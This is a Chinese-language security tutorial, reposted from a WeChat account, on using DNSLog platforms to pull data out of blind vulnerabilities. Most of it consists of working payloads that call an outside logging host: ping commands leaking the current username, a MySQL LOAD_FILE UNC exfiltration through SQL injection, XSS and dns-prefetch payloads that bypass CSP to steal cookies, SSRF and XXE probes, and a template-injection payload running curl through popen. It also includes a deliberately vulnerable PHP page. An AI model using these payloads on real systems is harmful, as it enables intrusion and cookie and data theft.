干货|DNSLog 盲注总结

admin 2022年5月7日08:50:49安全文章评论7 views4191字阅读13分58秒阅读模式

众所周知,我们输入的域名需要通过DNS服务器进行解析得到IP地址才能通过IP访问网站,DNSLog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问的信息,类似日志文件。我们只需要搭建一个的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级三级甚至更多级的子域名上去请求,就可以通过DNS解析日志来获取到它们。

DNSLog部署过程:

  1. 申请一个域名,如 xie.com

  2. 在我们的VPS上安装并配置DNS服务器

  3. 将 xie.com 的DNS服务器设置为我们的VPS地址

这样,所有访问 xie.com 的二级三级四级等等子域名都会被解析到我们的VPS上。我们就可以通过查询DNS解析记录来获得命令执行的回显了。
由于申请域名需要钱还要进行部署,十分麻烦,我们可以利用一些在线的DNSLog平台:

  • http://ceye.io

  • http://www.dnslog.cn

这里我们取得一个DNS域名

t6n089.ceye.io

命令执行

无回显得命令执行语句可以使用DNSLog来查看结果。

  • window

ping %USERNAME%.t6n089.ceye.io

干货|DNSLog 盲注总结


  • *nix

ping `whoami`.t6n089.ceye.io

干货|DNSLog 盲注总结


都可以看到我们的用户名显示在域名的最左边

SQL

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。先show variables like '%secure%';查看load_file()可以读取的磁盘。

mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | NULL |
+--------------------------+-------+
3 rows in set, 1 warning (0.01 sec)
  • 当secure_file_priv为空,就可以读取磁盘的目录。

  • 当secure_file_priv为G:,就可以读取G盘的文件。

  • 当secure_file_priv为null,load_file就不能加载文件。

这里为NULL,因此需要在my.ini配置文件中修改权限,把配置文件中的这一行改为(没有就加上):

secure_file_priv=""

UNC路径

以下是百度的UNC路径的解释

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式\sss.xxxtest

这也就解释了为什么CONCAT()函数拼接了4个了,因为转义的原因,4个就变成了2个,目的就是利用UNC路径。

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据

payload:

SELECT LOAD_FILE(CONCAT('\\',(查询语句),'.t6n089.ceye.io\abc'));

example:

在本地搭建了一个SQL注入的环境,在XP系统上似乎不行,原因未知,而在WIN10能够成功执行。

http://127.0.0.1:81/db.php?id=' and (SELECT LOAD_FILE(CONCAT('\\',(SELECT database()),'.t6n089.ceye.io\abc')))--+

干货|DNSLog 盲注总结

XSS

对于没有回显的XSS,我们要想知道是否成功也可以利用src属性填入得到的域名。

example:

payload:

http://127.0.0.1:81/sql.php?input=><img src=http://xss.t6n089.ceye.io/aaa>

干货|DNSLog 盲注总结

绕过CSP

CSP(内容安全策略)是防御XSS最有效的手段之一。当我们发现一个网站有XSS漏洞,想利用XSS平台来打Cookie时,CSP会通过白名单的方式,禁止跨域加载脚本,恶意代码便会因此被阻挡在门外,导致此XSS无法利用。对此,我们可以使用DNS预解析突破CSP的阻拦。

DNS预解析(DNS Prefetching)是一种能够加快网页加载速度的技术,对于跨站的链接,由于每次都要进行一次DNS解析,会消耗掉很多时间。DNS预解析在浏览器空闲时,将跨站资源的域名转化为IP 地址并缓存,真正请求资源时就避免了解析的时间。有趣的是,DNS预解析是默认开启的,并且我们可以通过rel="dns-prefetch"来强制进行DNS预解析。
由于DNS预解析可以绕过CSP进行解析,结合DNSLOG,我们即可窃取在CSP保护下的Cookie。

example:

网站的源码:

<?php
setcookie("test","test",time()+3600);
?>
<html>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
<head>
<title>DNSLog_XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['input'];
echo '你输入的字符为<br>'.$xss;
$myfile = fopen("./set_cookie.js", "w") or die("Unable to open file!");
fwrite($myfile, $xss);
fclose($myfile);
?>
<script src="set_cookie.js"></script>
</body>
</html>

这里网站通过<meta>标签设置了CSP为只能加载当前域名的脚本,也就是说无法使用内联的脚本,攻击者需要找到能够注入XSS的JavaScript脚本的外联文件,这里我们可以看到后端把我们输入的值写入了set_cookie.js文件中,然后又通过外联脚本引入了这个文件,这样我们就可以通过这里来进行XSS攻击。

在没有CSP情况下,我们通常是通过<img>等有src属性的标签带上cookie作为参数去访问我们的服务器:

var img = document.createElement("img");
img.src = "http://t6n089.ceye.io/log?"+escape(document.cookie);
document.body.appendChild(img);

由于这里有CSP限制了不能读取外部的资源,因此这里会报错。

干货|DNSLog 盲注总结

这里我们就可以使用DNS预解析去进行绕过:

payload:

?input=document.querySelector('body').innerHTML="<link rel='dns-prefetch' href='http://"+document.cookie.split(/;|=/)[0].trim()+".t6n089.ceye.io'>";

URL编码后:

?input=document.querySelector('body').innerHTML%3D%22%3Clink%20rel%3D'dns-prefetch'%20href%3D'http%3A%2F%2F%22%2Bdocument.cookie.split(%2F%3B%7C%3D%2F)%5B0%5D.trim()%2B%22.t6n089.ceye.io'%3E%22%3B

干货|DNSLog 盲注总结

这种利用方法十分苛刻,因为不仅要找到能够修改后台的外联JavaScript文件的方法,而且作为XSS攻击,此payload过长,容易被怀疑,而使用短链接加载外部脚本有会被CSP禁止,再加上根据DNS的规定,域名的长度是有限制的,有时可能不发将长cookie完全带出。

SSRF

一个没有回显的SSRF场景,我们同样可以通过DNSLog知道是否存在漏洞

example:

http://127.0.0.1:81/sql.php?url=http://ssrf.t6n089.ceye.io

干货|DNSLog 盲注总结

XXE

当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://t6n089.ceye.io">%remote;]>
<root>666<root/>

就可以通过DNS服务器来查看是否存在XXE漏洞。

模板注入

在模板注入碰到盲注的时候可以使用

{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.t6n089.ceye.io").read()=='ssti' %}1{% endif %}

干货|DNSLog 盲注总结

参考资料

巧用DNSlog实现实现无回显注入:http://www.0xby.com/916.html

Bypassing Content-Security-Policy with DNS prefetching:https://blog.compass-security.com/2016/10/bypassing-content-security-policy-with-dns-prefetching/

使用DNSLOG获取漏洞的回显:https://www.redhatzone.com/ask/article/1402.html


作者:John,文章来源于https://johnfrod.top/

原文始发于微信公众号(HACK之道):干货|DNSLog 盲注总结

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月7日08:50:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  干货|DNSLog 盲注总结 http://cn-sec.com/archives/982787.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: